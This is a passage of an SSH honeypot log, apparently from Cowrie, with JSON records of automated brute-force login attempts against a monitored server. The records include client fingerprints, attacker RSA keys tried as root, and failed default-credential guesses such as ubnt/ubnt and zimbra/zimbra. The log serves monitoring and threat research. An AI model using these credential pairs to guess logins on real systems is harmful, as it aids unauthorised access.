nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:52.656694Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:89:3d:a8:ef:27:95:df:1e:3b:8c:9e:86:56:77:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA04rhWqYAeDnrSXJiHBVgDsFYi2NcfTJn7VWKMRXT6vMW3kZ+sXMQi102n6Hu+YAa9tBxfuQ+c2MWTzIMvDWkjoKMQaXXxr+Qzf177/IjIdV2d6bdAG0exo362ZwohVpPeN1m4ks4JzEJjhKM+1JGAkH+9Uor0nmFSeoYjfmnPi5wlldyyGWyYoCUPOkSrycvuX+0gUwMuvQO+lohL2ay29HdjrqCRC6F3K/a/uol2p/q2S+E9yFP7a+q+hOP4uVPUHTUDlgjom7oJdwdkfS63UQ1hkmi7clIzHegV7LzPc07GF/RjqZNL+HmloS8OdKSwqiA5PruAx0uduY5j6oQzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:89:3d:a8:ef:27:95:df:1e:3b:8c:9e:86:56:77:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.179417Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:89:3d:a8:ef:27:95:df:1e:3b:8c:9e:86:56:77:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA04rhWqYAeDnrSXJiHBVgDsFYi2NcfTJn7VWKMRXT6vMW3kZ+sXMQi102n6Hu+YAa9tBxfuQ+c2MWTzIMvDWkjoKMQaXXxr+Qzf177/IjIdV2d6bdAG0exo362ZwohVpPeN1m4ks4JzEJjhKM+1JGAkH+9Uor0nmFSeoYjfmnPi5wlldyyGWyYoCUPOkSrycvuX+0gUwMuvQO+lohL2ay29HdjrqCRC6F3K/a/uol2p/q2S+E9yFP7a+q+hOP4uVPUHTUDlgjom7oJdwdkfS63UQ1hkmi7clIzHegV7LzPc07GF/RjqZNL+HmloS8OdKSwqiA5PruAx0uduY5j6oQzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.183565Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:5c:62:84:fb:ed:09:0b:ea:40:08:7b:52:7b:d5:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuPllVnPPT/cRSRHWLHz6dkS3b5Gpe03yyJ41uA4++FVKVMTY+MPmwcd9b9JU/ObE/wadeXh/JUcq+rgpAdJ8Mttep9Wuao4+XpsiAkzfWpZgwH0cvx4z2J1ferVmPpCRYJwlEhh4sN/Bq2pUIsmMiqJT0UbvHykqqGH318lUj9WYMJ+6cQYRWD2XB/KYPD+miCJYGS8GP/tfzLXKc/V//hGZWvDHho96gq7RtI2VFpFTG6ho0UYEXxm+m1JMFg9XN1X7tfTvrWsPbyKwThpcIuK1K66sP+YIMPT17u8qwHRNR4OX5Sgrto+4qUeulk7/D1pq85qUd2RHfkBXc8pph","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:5c:62:84:fb:ed:09:0b:ea:40:08:7b:52:7b:d5:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.294566Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:5c:62:84:fb:ed:09:0b:ea:40:08:7b:52:7b:d5:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuPllVnPPT/cRSRHWLHz6dkS3b5Gpe03yyJ41uA4++FVKVMTY+MPmwcd9b9JU/ObE/wadeXh/JUcq+rgpAdJ8Mttep9Wuao4+XpsiAkzfWpZgwH0cvx4z2J1ferVmPpCRYJwlEhh4sN/Bq2pUIsmMiqJT0UbvHykqqGH318lUj9WYMJ+6cQYRWD2XB/KYPD+miCJYGS8GP/tfzLXKc/V//hGZWvDHho96gq7RtI2VFpFTG6ho0UYEXxm+m1JMFg9XN1X7tfTvrWsPbyKwThpcIuK1K66sP+YIMPT17u8qwHRNR4OX5Sgrto+4qUeulk7/D1pq85qUd2RHfkBXc8pph","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.298445Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:c8:f9:48:53:f9:e2:18:3d:25:0b:7e:48:d6:ac:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr578QYbanb0Gth3/gQXOXK9kxFUeOuNrqO7aD90+UAft0U5a2teIdL3ibSAnrx5QpzwcLAjnQ191EfS9evHvvoMC9qKUrenQRaQonW5/fz7a07e5FAdDRCm7mmxYkwxDR7EkDZfbFLhgraz/O7kaC5d2K8d8WRlPvNTpxLSZ+TXzFgLLGl5ntCTrZ/x9e/1tFoal0grxIf1UOPHjSPv5La2Nh10UM3TSC4qzU9euYOiJmLYWCj/75bCyT6gGBTh4IozOdPrV4PfsYOyKaavJMyHzHaSV6bPyg6YBCgeA9pHWKoc11BUZPIKccdRzi8fEisbHrVcWiIidZjKKexXAn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:c8:f9:48:53:f9:e2:18:3d:25:0b:7e:48:d6:ac:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.408357Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:c8:f9:48:53:f9:e2:18:3d:25:0b:7e:48:d6:ac:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr578QYbanb0Gth3/gQXOXK9kxFUeOuNrqO7aD90+UAft0U5a2teIdL3ibSAnrx5QpzwcLAjnQ191EfS9evHvvoMC9qKUrenQRaQonW5/fz7a07e5FAdDRCm7mmxYkwxDR7EkDZfbFLhgraz/O7kaC5d2K8d8WRlPvNTpxLSZ+TXzFgLLGl5ntCTrZ/x9e/1tFoal0grxIf1UOPHjSPv5La2Nh10UM3TSC4qzU9euYOiJmLYWCj/75bCyT6gGBTh4IozOdPrV4PfsYOyKaavJMyHzHaSV6bPyg6YBCgeA9pHWKoc11BUZPIKccdRzi8fEisbHrVcWiIidZjKKexXAn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.412021Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:9b:42:ed:4a:4d:1d:b7:05:dc:72:f6:0e:0f:27:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWmiBt3XXJd4Fl+F9mbms/0qcMIrcB0PN/g7AKRSXD2/sEtnvxNGWFdwqpwGMnG9N90Xif3iMwvoeOTW/3JHZHhb4fW8l0zqUZyRzoz3G1BtzoT+OnUn5u2/L2/lWhdq8rG6G9QSAto5Xs8W/sDTrPUuzBl0HxmbAGrYdeJeMpbVpUSZgtHkVmOp+FIqkcOolZCg/gxouTdytyES6b2wlcLNNKClRtS74+LkPU7Qhl3NbhBZzyoh1UySPd1sC2Sgb5givZ2ukuE8wX6F0Y0ha/YLHrv9k165t09Wcw5/CKpTPn8qnZ+dUZG8wo98WLlsViiInj1p05fT++vnfgUjy6lCwFLYcw6+7md9GmOhnFQZYEAU4zPnajdoejYo8bNlScU0NRxIfzL0QJU/VgJKAuhUNjBPY2A1FQmBJwhbVCnIgz2EFC3tUv1rozUAWLFyaoRzidGAEMVgnSZVERWpbq8JQ4ns/cKYQFBaULN+6vBuTY8Slr1P4zZha1CLyQcdpoJdNTOHlhr3K+XtNNQpWJsEEUKi08+J8TQMcZA0u71nh3mb5zY1ziTI5fycRox62+4NV1uXxHaVKn+OXyj05MoyKA+RcipPtNvBs4BvWaBw1ofpGLkNVB2CJhRbLSnrYJSFfm2jtheigU8SwrST8w0ChQjN6vfHqDhjQAKg5MKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:9b:42:ed:4a:4d:1d:b7:05:dc:72:f6:0e:0f:27:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.522454Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:9b:42:ed:4a:4d:1d:b7:05:dc:72:f6:0e:0f:27:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWmiBt3XXJd4Fl+F9mbms/0qcMIrcB0PN/g7AKRSXD2/sEtnvxNGWFdwqpwGMnG9N90Xif3iMwvoeOTW/3JHZHhb4fW8l0zqUZyRzoz3G1BtzoT+OnUn5u2/L2/lWhdq8rG6G9QSAto5Xs8W/sDTrPUuzBl0HxmbAGrYdeJeMpbVpUSZgtHkVmOp+FIqkcOolZCg/gxouTdytyES6b2wlcLNNKClRtS74+LkPU7Qhl3NbhBZzyoh1UySPd1sC2Sgb5givZ2ukuE8wX6F0Y0ha/YLHrv9k165t09Wcw5/CKpTPn8qnZ+dUZG8wo98WLlsViiInj1p05fT++vnfgUjy6lCwFLYcw6+7md9GmOhnFQZYEAU4zPnajdoejYo8bNlScU0NRxIfzL0QJU/VgJKAuhUNjBPY2A1FQmBJwhbVCnIgz2EFC3tUv1rozUAWLFyaoRzidGAEMVgnSZVERWpbq8JQ4ns/cKYQFBaULN+6vBuTY8Slr1P4zZha1CLyQcdpoJdNTOHlhr3K+XtNNQpWJsEEUKi08+J8TQMcZA0u71nh3mb5zY1ziTI5fycRox62+4NV1uXxHaVKn+OXyj05MoyKA+RcipPtNvBs4BvWaBw1ofpGLkNVB2CJhRbLSnrYJSFfm2jtheigU8SwrST8w0ChQjN6vfHqDhjQAKg5MKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.526367Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.536542Z","src_ip":"89.144.211.139","session":"11dd8538aa7f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:73:b8:6d:fa:bd:3a:c1:5e:0a:38:c3:98:98:28:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqlpnSzRhcL1CJL3l7KAD7b/k5cfPHPIeyfD2FojwdDTmEob7DeVphEI/yNfizpoGyZ9FFy7Tcd4a8sftnEfhywXYVSYjFbyoQMiB05AtbyGh8ui4Bwt7LnjhyCYr++kxDIs/FSjEfIrKZGOaXwItNJ7PJmeLhNq2vJlVa/u3xiG+5j3gcpo/s1POJpEq2BxFU5V908U2MM/bfStiCMNFXXSBqikpNPi5YziyuC6Az1Ei9SO3IfR31cTruhPqFzTESwGrIP+XI1iqFY6+FBtMWtMHTpzXwbrr4H8a6nrK3eQUUTAmjlKev1ElHDJV2FlVQE8eIpbzbTLKlPnBo2YvxBqkZRaJixsNv6n4OGl7CV0um/1W4H5wq7pGhSensICg6fvIVVbVP9qr9Ua6qz+Bkvzw9HBdZvQjb9AbK4cxLU4xPZC8cRZp6o4ILqCxI0vWg7I9XJHIBfnCiZfJMKrTc8fq0konoGykfabo33u1dBLVhtk4qx/+jCDKKu2qTCbxhcV/YGE5NLAUDdjpQRF7eXrd5ypxSX12wN5Q84xi3XxrwSyoWdpuC/SDQ2efkZ1znOYgV4w69ca/3LP8lxR6u+2Sup2kHAUsUmBqy39AtkdJouZkUjhtGR5hjGQi0qZmNDKAY5fMsOi7bf5NcRsuZSttKOpHMBraq5olpNXYqew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:73:b8:6d:fa:bd:3a:c1:5e:0a:38:c3:98:98:28:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.639410Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:73:b8:6d:fa:bd:3a:c1:5e:0a:38:c3:98:98:28:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqlpnSzRhcL1CJL3l7KAD7b/k5cfPHPIeyfD2FojwdDTmEob7DeVphEI/yNfizpoGyZ9FFy7Tcd4a8sftnEfhywXYVSYjFbyoQMiB05AtbyGh8ui4Bwt7LnjhyCYr++kxDIs/FSjEfIrKZGOaXwItNJ7PJmeLhNq2vJlVa/u3xiG+5j3gcpo/s1POJpEq2BxFU5V908U2MM/bfStiCMNFXXSBqikpNPi5YziyuC6Az1Ei9SO3IfR31cTruhPqFzTESwGrIP+XI1iqFY6+FBtMWtMHTpzXwbrr4H8a6nrK3eQUUTAmjlKev1ElHDJV2FlVQE8eIpbzbTLKlPnBo2YvxBqkZRaJixsNv6n4OGl7CV0um/1W4H5wq7pGhSensICg6fvIVVbVP9qr9Ua6qz+Bkvzw9HBdZvQjb9AbK4cxLU4xPZC8cRZp6o4ILqCxI0vWg7I9XJHIBfnCiZfJMKrTc8fq0konoGykfabo33u1dBLVhtk4qx/+jCDKKu2qTCbxhcV/YGE5NLAUDdjpQRF7eXrd5ypxSX12wN5Q84xi3XxrwSyoWdpuC/SDQ2efkZ1znOYgV4w69ca/3LP8lxR6u+2Sup2kHAUsUmBqy39AtkdJouZkUjhtGR5hjGQi0qZmNDKAY5fMsOi7bf5NcRsuZSttKOpHMBraq5olpNXYqew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.643702Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:53.756809Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35048,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bf637685115","protocol":"ssh","message":"New connection: 172.237.20.62:35048 (159.203.135.109:22) [session: 0bf637685115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:59.419830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:59.424291Z","src_ip":"172.237.20.62","session":"0bf637685115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:59.593905Z","src_ip":"172.237.20.62","session":"0bf637685115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:00.109651Z","src_ip":"172.237.20.62","session":"0bf637685115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:01.276910Z","src_ip":"172.237.20.62","session":"0bf637685115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58470,"dst_ip":"159.203.135.109","dst_port":22,"session":"e19af958cdac","protocol":"ssh","message":"New connection: 172.237.20.62:58470 (159.203.135.109:22) [session: e19af958cdac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:10.232324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:10.247373Z","src_ip":"172.237.20.62","session":"e19af958cdac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:10.396253Z","src_ip":"172.237.20.62","session":"e19af958cdac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:11.020718Z","src_ip":"172.237.20.62","session":"e19af958cdac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:12.187748Z","src_ip":"172.237.20.62","session":"e19af958cdac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45876,"dst_ip":"159.203.135.109","dst_port":22,"session":"e590c5152322","protocol":"ssh","message":"New connection: 172.237.20.62:45876 (159.203.135.109:22) [session: e590c5152322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:21.143970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:21.148723Z","src_ip":"172.237.20.62","session":"e590c5152322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:21.309905Z","src_ip":"172.237.20.62","session":"e590c5152322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:21.793623Z","src_ip":"172.237.20.62","session":"e590c5152322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:22.958614Z","src_ip":"172.237.20.62","session":"e590c5152322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41722,"dst_ip":"159.203.135.109","dst_port":22,"session":"e22ec6b982fa","protocol":"ssh","message":"New connection: 172.237.20.62:41722 (159.203.135.109:22) [session: e22ec6b982fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:32.099750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:01:32.104419Z","src_ip":"172.237.20.62","session":"e22ec6b982fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 